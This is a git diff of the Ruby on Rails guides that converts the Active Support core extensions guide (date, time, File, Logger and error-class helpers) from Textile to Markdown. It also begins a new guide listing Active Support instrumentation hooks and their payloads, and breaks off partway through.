Date.new(2010, 4, 30).months_since(2) # => Wed, 30 Jun 2010
-</ruby>
+```
If such a day does not exist, the last day of the corresponding month is returned:
-<ruby>
+```ruby
Date.new(2010, 4, 30).months_ago(2) # => Sun, 28 Feb 2010
Date.new(2009, 12, 31).months_since(2) # => Sun, 28 Feb 2010
-</ruby>
+```
-h6. +weeks_ago+
+##### `weeks_ago`
-The method +weeks_ago+ works analogously for weeks:
+The method `weeks_ago` works analogously for weeks:
-<ruby>
+```ruby
Date.new(2010, 5, 24).weeks_ago(1) # => Mon, 17 May 2010
Date.new(2010, 5, 24).weeks_ago(2) # => Mon, 10 May 2010
-</ruby>
+```
-h6. +advance+
+##### `advance`
-The most generic way to jump to other days is +advance+. This method receives a hash with keys +:years+, +:months+, +:weeks+, +:days+, and returns a date advanced as much as the present keys indicate:
+The most generic way to jump to other days is `advance`. This method receives a hash with keys `:years`, `:months`, `:weeks`, `:days`, and returns a date advanced as much as the present keys indicate:
-<ruby>
+```ruby
date = Date.new(2010, 6, 6)
date.advance(:years => 1, :weeks => 2) # => Mon, 20 Jun 2011
date.advance(:months => 2, :days => -2) # => Wed, 04 Aug 2010
-</ruby>
+```
Note in the previous example that increments may be negative.
To perform the computation the method first increments years, then months, then weeks, and finally days. This order is important towards the end of months. Say for example we are at the end of February of 2010, and we want to move one month and one day forward.
-The method +advance+ advances first one month, and then one day, the result is:
+The method `advance` advances first one month, and then one day, the result is:
-<ruby>
+```ruby
Date.new(2010, 2, 28).advance(:months => 1, :days => 1)
# => Sun, 29 Mar 2010
-</ruby>
+```
While if it did it the other way around the result would be different:
-<ruby>
+```ruby
Date.new(2010, 2, 28).advance(:days => 1).advance(:months => 1)
# => Thu, 01 Apr 2010
-</ruby>
+```
-h5. Changing Components
+#### Changing Components
-The method +change+ allows you to get a new date which is the same as the receiver except for the given year, month, or day:
+The method `change` allows you to get a new date which is the same as the receiver except for the given year, month, or day:
-<ruby>
+```ruby
Date.new(2010, 12, 23).change(:year => 2011, :month => 11)
# => Wed, 23 Nov 2011
-</ruby>
+```
-This method is not tolerant to non-existing dates, if the change is invalid +ArgumentError+ is raised:
+This method is not tolerant to non-existing dates, if the change is invalid `ArgumentError` is raised:
-<ruby>
+```ruby
Date.new(2010, 1, 31).change(:month => 2)
# => ArgumentError: invalid date
-</ruby>
+```
-h5(#date-durations). Durations
+#### Durations
Durations can be added to and subtracted from dates:
-<ruby>
+```ruby
d = Date.current
# => Mon, 09 Aug 2010
d + 1.year
# => Tue, 09 Aug 2011
d - 3.hours
# => Sun, 08 Aug 2010 21:00:00 UTC +00:00
-</ruby>
+```
-They translate to calls to +since+ or +advance+. For example here we get the correct jump in the calendar reform:
+They translate to calls to `since` or `advance`. For example here we get the correct jump in the calendar reform:
-<ruby>
+```ruby
Date.new(1582, 10, 4) + 1.day
# => Fri, 15 Oct 1582
-</ruby>
+```
-h5. Timestamps
+#### Timestamps
-INFO: The following methods return a +Time+ object if possible, otherwise a +DateTime+. If set, they honor the user time zone.
+INFO: The following methods return a `Time` object if possible, otherwise a `DateTime`. If set, they honor the user time zone.
-h6. +beginning_of_day+, +end_of_day+
+##### `beginning_of_day`, `end_of_day`
-The method +beginning_of_day+ returns a timestamp at the beginning of the day (00:00:00):
+The method `beginning_of_day` returns a timestamp at the beginning of the day (00:00:00):
-<ruby>
+```ruby
date = Date.new(2010, 6, 7)
date.beginning_of_day # => Mon Jun 07 00:00:00 +0200 2010
-</ruby>
+```
-The method +end_of_day+ returns a timestamp at the end of the day (23:59:59):
+The method `end_of_day` returns a timestamp at the end of the day (23:59:59):
-<ruby>
+```ruby
date = Date.new(2010, 6, 7)
date.end_of_day # => Mon Jun 07 23:59:59 +0200 2010
-</ruby>
+```
-+beginning_of_day+ is aliased to +at_beginning_of_day+, +midnight+, +at_midnight+.
+`beginning_of_day` is aliased to `at_beginning_of_day`, `midnight`, `at_midnight`.
-h6. +beginning_of_hour+, +end_of_hour+
+##### `beginning_of_hour`, `end_of_hour`
-The method +beginning_of_hour+ returns a timestamp at the beginning of the hour (hh:00:00):
+The method `beginning_of_hour` returns a timestamp at the beginning of the hour (hh:00:00):
-<ruby>
+```ruby
date = DateTime.new(2010, 6, 7, 19, 55, 25)
date.beginning_of_hour # => Mon Jun 07 19:00:00 +0200 2010
-</ruby>
+```
-The method +end_of_hour+ returns a timestamp at the end of the hour (hh:59:59):
+The method `end_of_hour` returns a timestamp at the end of the hour (hh:59:59):
-<ruby>
+```ruby
date = DateTime.new(2010, 6, 7, 19, 55, 25)
date.end_of_hour # => Mon Jun 07 19:59:59 +0200 2010
-</ruby>
+```
-+beginning_of_hour+ is aliased to +at_beginning_of_hour+.
+`beginning_of_hour` is aliased to `at_beginning_of_hour`.
-INFO: +beginning_of_hour+ and +end_of_hour+ are implemented for +Time+ and +DateTime+ but *not* +Date+ as it does not make sense to request the beginning or end of an hour on a +Date+ instance.
+INFO: `beginning_of_hour` and `end_of_hour` are implemented for `Time` and `DateTime` but **not** `Date` as it does not make sense to request the beginning or end of an hour on a `Date` instance.
-h6. +ago+, +since+
+##### `ago`, `since`
-The method +ago+ receives a number of seconds as argument and returns a timestamp those many seconds ago from midnight:
+The method `ago` receives a number of seconds as argument and returns a timestamp those many seconds ago from midnight:
-<ruby>
+```ruby
date = Date.current # => Fri, 11 Jun 2010
date.ago(1) # => Thu, 10 Jun 2010 23:59:59 EDT -04:00
-</ruby>
+```
-Similarly, +since+ moves forward:
+Similarly, `since` moves forward:
-<ruby>
+```ruby
date = Date.current # => Fri, 11 Jun 2010
date.since(1) # => Fri, 11 Jun 2010 00:00:01 EDT -04:00
-</ruby>
+```
-h5. Other Time Computations
+#### Other Time Computations
-h4(#date-conversions). Conversions
+### Conversions
-h3. Extensions to +DateTime+
+Extensions to `DateTime`
+------------------------
-WARNING: +DateTime+ is not aware of DST rules and so some of these methods have edge cases when a DST change is going on. For example +seconds_since_midnight+ might not return the real amount in such a day.
+WARNING: `DateTime` is not aware of DST rules and so some of these methods have edge cases when a DST change is going on. For example `seconds_since_midnight` might not return the real amount in such a day.
-h4(#calculations-datetime). Calculations
+### Calculations
-NOTE: All the following methods are defined in +active_support/core_ext/date_time/calculations.rb+.
+NOTE: All the following methods are defined in `active_support/core_ext/date_time/calculations.rb`.
-The class +DateTime+ is a subclass of +Date+ so by loading +active_support/core_ext/date/calculations.rb+ you inherit these methods and their aliases, except that they will always return datetimes:
+The class `DateTime` is a subclass of `Date` so by loading `active_support/core_ext/date/calculations.rb` you inherit these methods and their aliases, except that they will always return datetimes:
-<ruby>
+```ruby
yesterday
tomorrow
beginning_of_week (at_beginning_of_week)
@@ -3374,156 +3387,157 @@ years_ago
years_since
prev_year (last_year)
next_year
-</ruby>
+```
-The following methods are reimplemented so you do *not* need to load +active_support/core_ext/date/calculations.rb+ for these ones:
+The following methods are reimplemented so you do **not** need to load `active_support/core_ext/date/calculations.rb` for these ones:
-<ruby>
+```ruby
beginning_of_day (midnight, at_midnight, at_beginning_of_day)
end_of_day
ago
since (in)
-</ruby>
+```
-On the other hand, +advance+ and +change+ are also defined and support more options, they are documented below.
+On the other hand, `advance` and `change` are also defined and support more options, they are documented below.
-The following methods are only implemented in +active_support/core_ext/date_time/calculations.rb+ as they only make sense when used with a +DateTime+ instance:
+The following methods are only implemented in `active_support/core_ext/date_time/calculations.rb` as they only make sense when used with a `DateTime` instance:
-<ruby>
+```ruby
beginning_of_hour (at_beginning_of_hour)
end_of_hour
-</ruby>
+```
-h5. Named Datetimes
+#### Named Datetimes
-h6. +DateTime.current+
+##### `DateTime.current`
-Active Support defines +DateTime.current+ to be like +Time.now.to_datetime+, except that it honors the user time zone, if defined. It also defines +DateTime.yesterday+ and +DateTime.tomorrow+, and the instance predicates +past?+, and +future?+ relative to +DateTime.current+.
+Active Support defines `DateTime.current` to be like `Time.now.to_datetime`, except that it honors the user time zone, if defined. It also defines `DateTime.yesterday` and `DateTime.tomorrow`, and the instance predicates `past?`, and `future?` relative to `DateTime.current`.
-h5. Other Extensions
+#### Other Extensions
-h6. +seconds_since_midnight+
+##### `seconds_since_midnight`
-The method +seconds_since_midnight+ returns the number of seconds since midnight:
+The method `seconds_since_midnight` returns the number of seconds since midnight:
-<ruby>
+```ruby
now = DateTime.current # => Mon, 07 Jun 2010 20:26:36 +0000
now.seconds_since_midnight # => 73596
-</ruby>
+```
-h6(#utc-datetime). +utc+
+##### `utc`
-The method +utc+ gives you the same datetime in the receiver expressed in UTC.
+The method `utc` gives you the same datetime in the receiver expressed in UTC.
-<ruby>
+```ruby
now = DateTime.current # => Mon, 07 Jun 2010 19:27:52 -0400
now.utc # => Mon, 07 Jun 2010 23:27:52 +0000
-</ruby>
+```
-This method is also aliased as +getutc+.
+This method is also aliased as `getutc`.
-h6. +utc?+
+##### `utc?`
-The predicate +utc?+ says whether the receiver has UTC as its time zone:
+The predicate `utc?` says whether the receiver has UTC as its time zone:
-<ruby>
+```ruby
now = DateTime.now # => Mon, 07 Jun 2010 19:30:47 -0400
now.utc? # => false
now.utc.utc? # => true
-</ruby>
+```
-h6(#datetime-advance). +advance+
+##### `advance`
-The most generic way to jump to another datetime is +advance+. This method receives a hash with keys +:years+, +:months+, +:weeks+, +:days+, +:hours+, +:minutes+, and +:seconds+, and returns a datetime advanced as much as the present keys indicate.
+The most generic way to jump to another datetime is `advance`. This method receives a hash with keys `:years`, `:months`, `:weeks`, `:days`, `:hours`, `:minutes`, and `:seconds`, and returns a datetime advanced as much as the present keys indicate.
-<ruby>
+```ruby
d = DateTime.current
# => Thu, 05 Aug 2010 11:33:31 +0000
d.advance(:years => 1, :months => 1, :days => 1, :hours => 1, :minutes => 1, :seconds => 1)
# => Tue, 06 Sep 2011 12:34:32 +0000
-</ruby>
+```
-This method first computes the destination date passing +:years+, +:months+, +:weeks+, and +:days+ to +Date#advance+ documented above. After that, it adjusts the time calling +since+ with the number of seconds to advance. This order is relevant, a different ordering would give different datetimes in some edge-cases. The example in +Date#advance+ applies, and we can extend it to show order relevance related to the time bits.
+This method first computes the destination date passing `:years`, `:months`, `:weeks`, and `:days` to `Date#advance` documented above. After that, it adjusts the time calling `since` with the number of seconds to advance. This order is relevant, a different ordering would give different datetimes in some edge-cases. The example in `Date#advance` applies, and we can extend it to show order relevance related to the time bits.
If we first move the date bits (that have also a relative order of processing, as documented before), and then the time bits we get for example the following computation:
-<ruby>
+```ruby
d = DateTime.new(2010, 2, 28, 23, 59, 59)
# => Sun, 28 Feb 2010 23:59:59 +0000
d.advance(:months => 1, :seconds => 1)
# => Mon, 29 Mar 2010 00:00:00 +0000
-</ruby>
+```
but if we computed them the other way around, the result would be different:
-<ruby>
+```ruby
d.advance(:seconds => 1).advance(:months => 1)
# => Thu, 01 Apr 2010 00:00:00 +0000
-</ruby>
+```
-WARNING: Since +DateTime+ is not DST-aware you can end up in a non-existing point in time with no warning or error telling you so.
+WARNING: Since `DateTime` is not DST-aware you can end up in a non-existing point in time with no warning or error telling you so.
-h5(#datetime-changing-components). Changing Components
+#### Changing Components
-The method +change+ allows you to get a new datetime which is the same as the receiver except for the given options, which may include +:year+, +:month+, +:day+, +:hour+, +:min+, +:sec+, +:offset+, +:start+:
+The method `change` allows you to get a new datetime which is the same as the receiver except for the given options, which may include `:year`, `:month`, `:day`, `:hour`, `:min`, `:sec`, `:offset`, `:start`:
-<ruby>
+```ruby
now = DateTime.current
# => Tue, 08 Jun 2010 01:56:22 +0000
now.change(:year => 2011, :offset => Rational(-6, 24))
# => Wed, 08 Jun 2011 01:56:22 -0600
-</ruby>
+```
If hours are zeroed, then minutes and seconds are too (unless they have given values):
-<ruby>
+```ruby
now.change(:hour => 0)
# => Tue, 08 Jun 2010 00:00:00 +0000
-</ruby>
+```
Similarly, if minutes are zeroed, then seconds are too (unless it has given a value):
-<ruby>
+```ruby
now.change(:min => 0)
# => Tue, 08 Jun 2010 01:00:00 +0000
-</ruby>
+```
-This method is not tolerant to non-existing dates, if the change is invalid +ArgumentError+ is raised:
+This method is not tolerant to non-existing dates, if the change is invalid `ArgumentError` is raised:
-<ruby>
+```ruby
DateTime.current.change(:month => 2, :day => 30)
# => ArgumentError: invalid date
-</ruby>
+```
-h5(#datetime-durations). Durations
+#### Durations
Durations can be added to and subtracted from datetimes:
-<ruby>
+```ruby
now = DateTime.current
# => Mon, 09 Aug 2010 23:15:17 +0000
now + 1.year
# => Tue, 09 Aug 2011 23:15:17 +0000
now - 1.week
# => Mon, 02 Aug 2010 23:15:17 +0000
-</ruby>
+```
-They translate to calls to +since+ or +advance+. For example here we get the correct jump in the calendar reform:
+They translate to calls to `since` or `advance`. For example here we get the correct jump in the calendar reform:
-<ruby>
+```ruby
DateTime.new(1582, 10, 4, 23) + 1.hour
# => Fri, 15 Oct 1582 00:00:00 +0000
-</ruby>
+```
-h3. Extensions to +Time+
+Extensions to `Time`
+--------------------
-h4(#time-calculations). Calculations
+### Calculations
-NOTE: All the following methods are defined in +active_support/core_ext/time/calculations.rb+.
+NOTE: All the following methods are defined in `active_support/core_ext/time/calculations.rb`.
-Active Support adds to +Time+ many of the methods available for +DateTime+:
+Active Support adds to `Time` many of the methods available for `DateTime`:
-<ruby>
+```ruby
past?
today?
future?
@@ -3559,165 +3573,167 @@ years_ago
years_since
prev_year (last_year)
next_year
-</ruby>
+```
They are analogous. Please refer to their documentation above and take into account the following differences:
-* +change+ accepts an additional +:usec+ option.
-* +Time+ understands DST, so you get correct DST calculations as in
+* `change` accepts an additional `:usec` option.
+* `Time` understands DST, so you get correct DST calculations as in
-<ruby>
+```ruby
Time.zone_default
# => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...>
-# In Barcelona, 2010/03/28 02:00 <plus>0100 becomes 2010/03/28 03:00 <plus>0200 due to DST.
+# In Barcelona, 2010/03/28 02:00 +0100 becomes 2010/03/28 03:00 +0200 due to DST.
t = Time.local_time(2010, 3, 28, 1, 59, 59)
# => Sun Mar 28 01:59:59 +0100 2010
t.advance(:seconds => 1)
# => Sun Mar 28 03:00:00 +0200 2010
-</ruby>
+```
-* If +since+ or +ago+ jump to a time that can't be expressed with +Time+ a +DateTime+ object is returned instead.
+* If `since` or `ago` jump to a time that can't be expressed with `Time` a `DateTime` object is returned instead.
-h5. +Time.current+
+#### `Time.current`
-Active Support defines +Time.current+ to be today in the current time zone. That's like +Time.now+, except that it honors the user time zone, if defined. It also defines +Time.yesterday+ and +Time.tomorrow+, and the instance predicates +past?+, +today?+, and +future?+, all of them relative to +Time.current+.
+Active Support defines `Time.current` to be today in the current time zone. That's like `Time.now`, except that it honors the user time zone, if defined. It also defines `Time.yesterday` and `Time.tomorrow`, and the instance predicates `past?`, `today?`, and `future?`, all of them relative to `Time.current`.
-When making Time comparisons using methods which honor the user time zone, make sure to use +Time.current+ and not +Time.now+. There are cases where the user time zone might be in the future compared to the system time zone, which +Time.today+ uses by default. This means +Time.now+ may equal +Time.yesterday+.
+When making Time comparisons using methods which honor the user time zone, make sure to use `Time.current` and not `Time.now`. There are cases where the user time zone might be in the future compared to the system time zone, which `Time.today` uses by default. This means `Time.now` may equal `Time.yesterday`.
-h5. +all_day+, +all_week+, +all_month+, +all_quarter+ and +all_year+
+#### `all_day`, `all_week`, `all_month`, `all_quarter` and `all_year`
-The method +all_day+ returns a range representing the whole day of the current time.
+The method `all_day` returns a range representing the whole day of the current time.
-<ruby>
+```ruby
now = Time.current
# => Mon, 09 Aug 2010 23:20:05 UTC +00:00
now.all_day
-# => Mon, 09 Aug 2010 00:00:00 UTC <plus>00:00..Mon, 09 Aug 2010 23:59:59 UTC <plus>00:00
-</ruby>
+# => Mon, 09 Aug 2010 00:00:00 UTC +00:00..Mon, 09 Aug 2010 23:59:59 UTC +00:00
+```
-Analogously, +all_week+, +all_month+, +all_quarter+ and +all_year+ all serve the purpose of generating time ranges.
+Analogously, `all_week`, `all_month`, `all_quarter` and `all_year` all serve the purpose of generating time ranges.
-<ruby>
+```ruby
now = Time.current
# => Mon, 09 Aug 2010 23:20:05 UTC +00:00
now.all_week
-# => Mon, 09 Aug 2010 00:00:00 UTC <plus>00:00..Sun, 15 Aug 2010 23:59:59 UTC <plus>00:00
+# => Mon, 09 Aug 2010 00:00:00 UTC +00:00..Sun, 15 Aug 2010 23:59:59 UTC +00:00
now.all_month
-# => Sat, 01 Aug 2010 00:00:00 UTC <plus>00:00..Tue, 31 Aug 2010 23:59:59 UTC <plus>00:00
+# => Sat, 01 Aug 2010 00:00:00 UTC +00:00..Tue, 31 Aug 2010 23:59:59 UTC +00:00
now.all_quarter
-# => Thu, 01 Jul 2010 00:00:00 UTC <plus>00:00..Thu, 30 Sep 2010 23:59:59 UTC <plus>00:00
+# => Thu, 01 Jul 2010 00:00:00 UTC +00:00..Thu, 30 Sep 2010 23:59:59 UTC +00:00
now.all_year
-# => Fri, 01 Jan 2010 00:00:00 UTC <plus>00:00..Fri, 31 Dec 2010 23:59:59 UTC <plus>00:00
-</ruby>
+# => Fri, 01 Jan 2010 00:00:00 UTC +00:00..Fri, 31 Dec 2010 23:59:59 UTC +00:00
+```
-h4. Time Constructors
+### Time Constructors
-Active Support defines +Time.current+ to be +Time.zone.now+ if there's a user time zone defined, with fallback to +Time.now+:
+Active Support defines `Time.current` to be `Time.zone.now` if there's a user time zone defined, with fallback to `Time.now`:
-<ruby>
+```ruby
Time.zone_default
# => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...>
Time.current
# => Fri, 06 Aug 2010 17:11:58 CEST +02:00
-</ruby>
+```
-Analogously to +DateTime+, the predicates +past?+, and +future?+ are relative to +Time.current+.
+Analogously to `DateTime`, the predicates `past?`, and `future?` are relative to `Time.current`.
-Use the +local_time+ class method to create time objects honoring the user time zone:
+Use the `local_time` class method to create time objects honoring the user time zone:
-<ruby>
+```ruby
Time.zone_default
# => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...>
Time.local_time(2010, 8, 15)
# => Sun Aug 15 00:00:00 +0200 2010
-</ruby>
+```
-The +utc_time+ class method returns a time in UTC:
+The `utc_time` class method returns a time in UTC:
-<ruby>
+```ruby
Time.zone_default
# => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...>
Time.utc_time(2010, 8, 15)
# => Sun Aug 15 00:00:00 UTC 2010
-</ruby>
+```
-Both +local_time+ and +utc_time+ accept up to seven positional arguments: year, month, day, hour, min, sec, usec. Year is mandatory, month and day default to 1, and the rest default to 0.
+Both `local_time` and `utc_time` accept up to seven positional arguments: year, month, day, hour, min, sec, usec. Year is mandatory, month and day default to 1, and the rest default to 0.
-If the time to be constructed lies beyond the range supported by +Time+ in the runtime platform, usecs are discarded and a +DateTime+ object is returned instead.
+If the time to be constructed lies beyond the range supported by `Time` in the runtime platform, usecs are discarded and a `DateTime` object is returned instead.
-h5(#time-durations). Durations
+#### Durations
Durations can be added to and subtracted from time objects:
-<ruby>
+```ruby
now = Time.current
# => Mon, 09 Aug 2010 23:20:05 UTC +00:00
now + 1.year
# => Tue, 09 Aug 2011 23:21:11 UTC +00:00
now - 1.week
# => Mon, 02 Aug 2010 23:21:11 UTC +00:00
-</ruby>
+```
-They translate to calls to +since+ or +advance+. For example here we get the correct jump in the calendar reform:
+They translate to calls to `since` or `advance`. For example here we get the correct jump in the calendar reform:
-<ruby>
+```ruby
Time.utc_time(1582, 10, 3) + 5.days
# => Mon Oct 18 00:00:00 UTC 1582
-</ruby>
+```
-h3. Extensions to +File+
+Extensions to `File`
+--------------------
-h4. +atomic_write+
+### `atomic_write`
-With the class method +File.atomic_write+ you can write to a file in a way that will prevent any reader from seeing half-written content.
+With the class method `File.atomic_write` you can write to a file in a way that will prevent any reader from seeing half-written content.
-The name of the file is passed as an argument, and the method yields a file handle opened for writing. Once the block is done +atomic_write+ closes the file handle and completes its job.
+The name of the file is passed as an argument, and the method yields a file handle opened for writing. Once the block is done `atomic_write` closes the file handle and completes its job.
-For example, Action Pack uses this method to write asset cache files like +all.css+:
+For example, Action Pack uses this method to write asset cache files like `all.css`:
-<ruby>
+```ruby
File.atomic_write(joined_asset_path) do |cache|
cache.write(join_asset_file_contents(asset_paths))
end
-</ruby>
+```
-To accomplish this +atomic_write+ creates a temporary file. That's the file the code in the block actually writes to. On completion, the temporary file is renamed, which is an atomic operation on POSIX systems. If the target file exists +atomic_write+ overwrites it and keeps owners and permissions.
+To accomplish this `atomic_write` creates a temporary file. That's the file the code in the block actually writes to. On completion, the temporary file is renamed, which is an atomic operation on POSIX systems. If the target file exists `atomic_write` overwrites it and keeps owners and permissions.
-WARNING. Note you can't append with +atomic_write+.
+WARNING. Note you can't append with `atomic_write`.
The auxiliary file is written in a standard directory for temporary files, but you can pass a directory of your choice as second argument.
-NOTE: Defined in +active_support/core_ext/file/atomic.rb+.
+NOTE: Defined in `active_support/core_ext/file/atomic.rb`.
-h3. Extensions to +Logger+
+Extensions to `Logger`
+----------------------
-h4. +around_[level]+
+### `around_[level]`
-Takes two arguments, a +before_message+ and +after_message+ and calls the current level method on the +Logger+ instance, passing in the +before_message+, then the specified message, then the +after_message+:
+Takes two arguments, a `before_message` and `after_message` and calls the current level method on the `Logger` instance, passing in the `before_message`, then the specified message, then the `after_message`:
-<ruby>
+```ruby
logger = Logger.new("log/development.log")
logger.around_info("before", "after") { |logger| logger.info("during") }
-</ruby>
+```
-h4. +silence+
+### `silence`
Silences every log level lesser to the specified one for the duration of the given block. Log level orders are: debug, info, error and fatal.
-<ruby>
+```ruby
logger = Logger.new("log/development.log")
logger.silence(Logger::INFO) do
logger.debug("In space, no one can hear you scream.")
logger.info("Scream all you want, small mailman!")
end
-</ruby>
+```
-h4. +datetime_format=+
+### `datetime_format=`
-Modifies the datetime format output by the formatter class associated with this logger. If the formatter class does not have a +datetime_format+ method then this is ignored.
+Modifies the datetime format output by the formatter class associated with this logger. If the formatter class does not have a `datetime_format` method then this is ignored.
-<ruby>
+```ruby
class Logger::FormatWithTime < Logger::Formatter
cattr_accessor(:datetime_format) { "%Y%m%d%H%m%S" }
@@ -3729,21 +3745,22 @@ end
logger = Logger.new("log/development.log")
logger.formatter = Logger::FormatWithTime
logger.info("<- is the current time")
-</ruby>
+```
-NOTE: Defined in +active_support/core_ext/logger.rb+.
+NOTE: Defined in `active_support/core_ext/logger.rb`.
-h3. Extensions to +NameError+
+Extensions to `NameError`
+-------------------------
-Active Support adds +missing_name?+ to +NameError+, which tests whether the exception was raised because of the name passed as argument.
+Active Support adds `missing_name?` to `NameError`, which tests whether the exception was raised because of the name passed as argument.
The name may be given as a symbol or string. A symbol is tested against the bare constant name, a string is against the fully-qualified constant name.
-TIP: A symbol can represent a fully-qualified constant name as in +:"ActiveRecord::Base"+, so the behavior for symbols is defined for convenience, not because it has to be that way technically.
+TIP: A symbol can represent a fully-qualified constant name as in `:"ActiveRecord::Base"`, so the behavior for symbols is defined for convenience, not because it has to be that way technically.
-For example, when an action of +PostsController+ is called Rails tries optimistically to use +PostsHelper+. It is OK that the helper module does not exist, so if an exception for that constant name is raised it should be silenced. But it could be the case that +posts_helper.rb+ raises a +NameError+ due to an actual unknown constant. That should be reraised. The method +missing_name?+ provides a way to distinguish both cases:
+For example, when an action of `PostsController` is called Rails tries optimistically to use `PostsHelper`. It is OK that the helper module does not exist, so if an exception for that constant name is raised it should be silenced. But it could be the case that `posts_helper.rb` raises a `NameError` due to an actual unknown constant. That should be reraised. The method `missing_name?` provides a way to distinguish both cases:
-<ruby>
+```ruby
def default_helper_module!
module_name = name.sub(/Controller$/, '')
module_path = module_name.underscore
@@ -3753,19 +3770,20 @@ rescue MissingSourceFile => e
rescue NameError => e
raise e unless e.missing_name? "#{module_name}Helper"
end
-</ruby>
+```
-NOTE: Defined in +active_support/core_ext/name_error.rb+.
+NOTE: Defined in `active_support/core_ext/name_error.rb`.
-h3. Extensions to +LoadError+
+Extensions to `LoadError`
+-------------------------
-Active Support adds +is_missing?+ to +LoadError+, and also assigns that class to the constant +MissingSourceFile+ for backwards compatibility.
+Active Support adds `is_missing?` to `LoadError`, and also assigns that class to the constant `MissingSourceFile` for backwards compatibility.
-Given a path name +is_missing?+ tests whether the exception was raised due to that particular file (except perhaps for the ".rb" extension).
+Given a path name `is_missing?` tests whether the exception was raised due to that particular file (except perhaps for the ".rb" extension).
-For example, when an action of +PostsController+ is called Rails tries to load +posts_helper.rb+, but that file may not exist. That's fine, the helper module is not mandatory so Rails silences a load error. But it could be the case that the helper module does exist and in turn requires another library that is missing. In that case Rails must reraise the exception. The method +is_missing?+ provides a way to distinguish both cases:
+For example, when an action of `PostsController` is called Rails tries to load `posts_helper.rb`, but that file may not exist. That's fine, the helper module is not mandatory so Rails silences a load error. But it could be the case that the helper module does exist and in turn requires another library that is missing. In that case Rails must reraise the exception. The method `is_missing?` provides a way to distinguish both cases:
-<ruby>
+```ruby
def default_helper_module!
module_name = name.sub(/Controller$/, '')
module_path = module_name.underscore
@@ -3775,6 +3793,6 @@ rescue MissingSourceFile => e
rescue NameError => e
raise e unless e.missing_name? "#{module_name}Helper"
end
-</ruby>
+```
-NOTE: Defined in +active_support/core_ext/load_error.rb+.
+NOTE: Defined in `active_support/core_ext/load_error.rb`.
diff --git a/guides/source/active_support_instrumentation.md b/guides/source/active_support_instrumentation.md
new file mode 100644
index 0000000000..6c06cfcc4b
--- /dev/null
+++ b/guides/source/active_support_instrumentation.md
@@ -0,0 +1,485 @@
+Active Support Instrumentation
+==============================
+
+Active Support is a part of core Rails that provides Ruby language extensions, utilities and other things. One of the things it includes is an instrumentation API that can be used inside an application to measure certain actions that occur within Ruby code, such as that inside a Rails application or the framework itself. It is not limited to Rails, however. It can be used independently in other Ruby scripts if it is so desired.
+
+In this guide, you will learn how to use the instrumentation API inside of ActiveSupport to measure events inside of Rails and other Ruby code. We cover:
+
+* What instrumentation can provide
+* The hooks inside the Rails framework for instrumentation
+* Adding a subscriber to a hook
+* Building a custom instrumentation implementation
+
+--------------------------------------------------------------------------------
+
+Introduction to instrumentation
+-------------------------------
+
+The instrumentation API provided by ActiveSupport allows developers to provide hooks which other developers may hook into. There are several of these within the Rails framework, as described below in <TODO: link to section detailing each hook point>. With this API, developers can choose to be notified when certain events occur inside their application or another piece of Ruby code.
+
+For example, there is a hook provided within Active Record that is called every time Active Record uses an SQL query on a database. This hook could be **subscribed** to, and used to track the number of queries during a certain action. There's another hook around the processing of an action of a controller. This could be used, for instance, to track how long a specific action has taken.
+
+You are even able to create your own events inside your application which you can later subscribe to.
+
+Rails framework hooks
+---------------------
+
+Within the Ruby on Rails framework, there are a number of hooks provided for common events. These are detailed below.
+
+ActionController
+----------------
+
+### write_fragment.action_controller
+
+| Key | Value |
+| ------ | ---------------- |
+| `:key` | The complete key |
+
+```ruby
+{
+ :key => 'posts/1-dasboard-view'
+}
+```
+
+### read_fragment.action_controller
+
+| Key | Value |
+| ------ | ---------------- |
+| `:key` | The complete key |
+
+```ruby
+{
+ :key => 'posts/1-dasboard-view'
+}
+```
+
+### expire_fragment.action_controller
+
+| Key | Value |
+| ------ | ---------------- |
+| `:key` | The complete key |
+
+```ruby
+{
+ :key => 'posts/1-dasboard-view'
+}
+```
+
+### exist_fragment?.action_controller
+
+| Key | Value |
+| ------ | ---------------- |
+| `:key` | The complete key |
+
+```ruby
+{
+ :key => 'posts/1-dasboard-view'
+}
+```
+
+### write_page.action_controller
+
+| Key | Value |
+| ------- | ----------------- |
+| `:path` | The complete path |
+
+```ruby
+{
+ :path => '/users/1'
+}
+```
+
+### expire_page.action_controller
+
+| Key | Value |
+| ------- | ----------------- |
+| `:path` | The complete path |
+
+```ruby
+{
+ :path => '/users/1'
+}
+```
+
+### start_processing.action_controller
+
+| Key | Value |
+| ------------- | --------------------------------------------------------- |
+| `:controller` | The controller name |
+| `:action` | The action |
+| `:params` | Hash of request parameters without any filtered parameter |
+| `:format` | html/js/json/xml etc |
+| `:method` | HTTP request verb |
+| `:path` | Request path |
+
+```ruby
+{
+ :controller => "PostsController",
+ :action => "new",
+ :params => { "action" => "new", "controller" => "posts" },
+ :format => :html,
+ :method => "GET",
+ :path => "/posts/new"
+}
+```
+
+### process_action.action_controller
+
+| Key | Value |
+| --------------- | --------------------------------------------------------- |
+| `:controller` | The controller name |
+| `:action` | The action |
+| `:params` | Hash of request parameters without any filtered parameter |
+| `:format` | html/js/json/xml etc |
+| `:method` | HTTP request verb |
+| `:path` | Request path |
+| `:view_runtime` | Amount spent in view in ms |
+
+```ruby
+{
+ :controller => "PostsController",
+ :action => "index",
+ :params => {"action" => "index", "controller" => "posts"},
+ :format => :html,
+ :method => "GET",
+ :path => "/posts",
+ :status => 200,
+ :view_runtime => 46.848,
+ :db_runtime => 0.157
+}
+```
+
+### send_file.action_controller
+
+| Key | Value |
+| ------- | ------------------------- |
+| `:path` | Complete path to the file |
+
+INFO. Additional keys may be added by the caller.
+
+### send_data.action_controller
+
+`ActionController` does not had any specific information to the payload. All options are passed through to the payload.
+
+### redirect_to.action_controller
+
+| Key | Value |
+| ----------- | ------------------ |
+| `:status` | HTTP response code |
+| `:location` | URL to redirect to |
+
+```ruby
+{
+ :status => 302,
+ :location => "http://localhost:3000/posts/new"
+}
+```
+
+### halted_callback.action_controller
+
+| Key | Value |
+| --------- | ----------------------------- |
+| `:filter` | Filter that halted the action |
+
+```ruby
+{
+ :filter => ":halting_filter"
+}
+```
+
+ActionView
+----------
+
+### render_template.action_view
+
+| Key | Value |
+| ------------- | --------------------- |
+| `:identifier` | Full path to template |
+| `:layout` | Applicable layout |
+
+```ruby
+{
+ :identifier => "/Users/adam/projects/notifications/app/views/posts/index.html.erb",
